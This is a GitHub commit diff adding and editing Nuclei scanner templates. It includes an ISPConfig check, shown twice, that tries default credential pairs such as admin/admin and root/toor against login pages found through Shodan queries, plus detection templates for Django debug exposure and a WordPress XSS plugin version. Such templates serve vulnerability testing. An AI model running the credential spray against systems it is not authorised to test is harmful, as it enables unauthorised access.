-
Notifications
You must be signed in to change notification settings - Fork 272
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
eb5f600
commit 2eb80d1
Showing
48 changed files
with
1,811 additions
and
479 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1 +1 @@ | ||
| 20240824 | ||
| 20240825 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,63 @@ | ||
| id: ispconfig-default-login | ||
|
|
||
| info: | ||
| name: ISPConfig - Default Password | ||
| author: pussycat0x | ||
| severity: high | ||
| description: | | ||
| ISPConfig Default Password Vulnerability exposes systems to unauthorized access, compromising data integrity and security. | ||
| metadata: | ||
| verified: true | ||
| max-request: 9 | ||
| shodan-query: "http.title:\"ispconfig\"" | ||
| tags: default-login,ispconfig | ||
|
|
||
| http: | ||
| - raw: | ||
| - | | ||
| GET /login HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| - | | ||
| POST /login/index.php HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
| Origin: {{BaseURL}} | ||
| Connection: close | ||
| Referer: {{RootURL}}/login/ | ||
| username={{username}}&password={{password}}&s_mod=login&s_pg=index | ||
| - | | ||
| GET /sites/web_vhost_domain_list.php HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| X-Requested-With: XMLHttpRequest | ||
| Referer: {{RootURL}}/index.php | ||
| attack: pitchfork | ||
| payloads: | ||
| username: | ||
| - 'admin' | ||
| - 'guest' | ||
| - 'root' | ||
| password: | ||
| - 'admin' | ||
| - 'password' | ||
| - 'toor' | ||
|
|
||
| stop-at-first-match: true | ||
| host-redirects: true | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
| - type: word | ||
| part: body_3 | ||
| words: | ||
| - Tools | ||
| - Websites | ||
| condition: and | ||
|
|
||
| - type: status | ||
| status: | ||
| - 200 | ||
| # digest: 4b0a004830460221008a28f1d5944e66f8110267e1ef972142f26ab267c802b3014d9e149936f59664022100848b98acb511571071b1ad550692d756860ad969ec7f53b87045972e9996492b:922c64590222798bb761d5b6d8e72950 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,63 @@ | ||
| id: ispconfig-default-login | ||
|
|
||
| info: | ||
| name: ISPConfig - Default Password | ||
| author: pussycat0x | ||
| severity: high | ||
| description: | | ||
| ISPConfig Default Password Vulnerability exposes systems to unauthorized access, compromising data integrity and security. | ||
| metadata: | ||
| verified: true | ||
| max-request: 9 | ||
| shodan-query: "http.title:\"ispconfig\"" | ||
| tags: default-login,ispconfig | ||
|
|
||
| http: | ||
| - raw: | ||
| - | | ||
| GET /login HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| - | | ||
| POST /login/index.php HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| Content-Type: application/x-www-form-urlencoded | ||
| Origin: {{BaseURL}} | ||
| Connection: close | ||
| Referer: {{RootURL}}/login/ | ||
| username={{username}}&password={{password}}&s_mod=login&s_pg=index | ||
| - | | ||
| GET /sites/web_vhost_domain_list.php HTTP/1.1 | ||
| Host: {{Hostname}} | ||
| X-Requested-With: XMLHttpRequest | ||
| Referer: {{RootURL}}/index.php | ||
| attack: pitchfork | ||
| payloads: | ||
| username: | ||
| - 'admin' | ||
| - 'guest' | ||
| - 'root' | ||
| password: | ||
| - 'admin' | ||
| - 'password' | ||
| - 'toor' | ||
|
|
||
| stop-at-first-match: true | ||
| host-redirects: true | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
| - type: word | ||
| part: body_3 | ||
| words: | ||
| - Tools | ||
| - Websites | ||
| condition: and | ||
|
|
||
| - type: status | ||
| status: | ||
| - 200 | ||
| # digest: 4b0a004830460221008a28f1d5944e66f8110267e1ef972142f26ab267c802b3014d9e149936f59664022100848b98acb511571071b1ad550692d756860ad969ec7f53b87045972e9996492b:922c64590222798bb761d5b6d8e72950 |
18 changes: 9 additions & 9 deletions
18
poc/cross_site_request_forgery/django-debug-exposure-csrf.yaml
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -1,25 +1,25 @@ | ||
| id: django-debug-exposure | ||
|
|
||
| info: | ||
| name: Django Debug Exposure | ||
| author: geeknik | ||
| severity: high | ||
| reference: | ||
| - https://twitter.com/Alra3ees/status/1397660633928286208 | ||
| author: shelled | ||
| severity: medium | ||
| tags: django,exposure | ||
|
|
||
| requests: | ||
| - method: POST | ||
| path: | ||
| - "{{BaseURL}}/admin/login/?next=/admin/" | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
| - type: status | ||
| status: | ||
| - 500 | ||
| - 403 | ||
|
|
||
| - type: word | ||
| part: body | ||
| words: | ||
| - "DB_HOST" | ||
| - "DB_NAME" | ||
| - "DJANGO" | ||
| - "ADMIN_PASSWORD" | ||
| - 'seeing the help section of this page because you have <code>DEBUG =' | ||
| - 'True</code>' | ||
| condition: and |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,59 @@ | ||
| id: CVE-2023-0926 | ||
|
|
||
| info: | ||
| name: > | ||
| Custom Permalinks <= 2.6.0 - Authenticated(Editor+) Stored Cross-Site Scripting | ||
| author: topscoder | ||
| severity: low | ||
| description: > | ||
| The Custom Permalinks plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.6.0 due to insufficient input sanitization and output escaping on tag names. This allows authenticated users, with editor-level permissions or greater to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page, even when 'unfiltered_html' has been disabled. | ||
| reference: | ||
| - https://github.com/topscoder/nuclei-wordfence-cve | ||
| - https://www.wordfence.com/threat-intel/vulnerabilities/id/97f8549a-292d-4a6d-8ec0-550467e5cf0f?source=api-prod | ||
| classification: | ||
| cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N | ||
| cvss-score: 4.4 | ||
| cve-id: CVE-2023-0926 | ||
| metadata: | ||
| fofa-query: "wp-content/plugins/custom-permalinks/" | ||
| google-query: inurl:"/wp-content/plugins/custom-permalinks/" | ||
| shodan-query: 'vuln:CVE-2023-0926' | ||
| tags: cve,wordpress,wp-plugin,custom-permalinks,low | ||
|
|
||
| http: | ||
| - method: GET | ||
| redirects: true | ||
| max-redirects: 3 | ||
| path: | ||
| - "{{BaseURL}}/wp-content/plugins/custom-permalinks/readme.txt" | ||
|
|
||
| extractors: | ||
| - type: regex | ||
| name: version | ||
| part: body | ||
| group: 1 | ||
| internal: true | ||
| regex: | ||
| - "(?mi)Stable tag: ([0-9.]+)" | ||
|
|
||
| - type: regex | ||
| name: version | ||
| part: body | ||
| group: 1 | ||
| regex: | ||
| - "(?mi)Stable tag: ([0-9.]+)" | ||
|
|
||
| matchers-condition: and | ||
| matchers: | ||
| - type: status | ||
| status: | ||
| - 200 | ||
|
|
||
| - type: word | ||
| words: | ||
| - "custom-permalinks" | ||
| part: body | ||
|
|
||
| - type: dsl | ||
| dsl: | ||
| - compare_versions(version, '<= 2.6.0') |
Oops, something went wrong.